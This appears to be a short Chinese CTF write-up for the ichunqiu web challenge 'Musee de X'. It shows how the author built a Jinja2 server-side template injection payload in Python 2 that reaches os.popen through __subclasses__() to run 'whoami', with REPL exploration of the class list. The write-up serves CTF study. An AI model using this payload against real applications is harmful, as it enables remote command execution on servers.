原因:
ichunqiu 的web中有一个 Musee de X ,知道 http:// 文件能获取,但是没有想到 file:// 获取文件,根据报错也没有想过他用的是 jinja2。后来朋友说payload每个环境可能不太一样,就自己尝试了一波。
分析:
这是 python2 运行的,结果就是输出 whoami 的信息
#code:utf-8
from jinja2 import Template
import sys
reload(sys)
sys.setdefaultencoding('utf8')
a = Template("{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('whoami').read()}}")
print(a.render())
开始 我用 python3 逐步输出,然后发现怎么都不行,还是太菜 ... 用 python2 一会儿就行了 ...
C:\Users\shark\Desktop>python2
Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:25:58) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> [].__class__.__base__.__subclasses__()
[, , , , , , , , , ,
, , , , , , , , , , , , ,
, , , , , , , , , , , , , , , ,
, , , , , , , , , ,
, , , , , , , ,
, , , , , , , ,
, , , , , , , , , , , , , , , , , , , , , , , ]
发现输出很多类名,根据猜测为 import 的类和内置的类。
于是猜测 payload 为 类名.方法 格式
但是我不知道题目用的是那个类,于是构造
[].__class__.__base__.__subclasses__()[59]
去获取题目用的类名 发现为
于是找到自己对应类的序号,然后在本地构造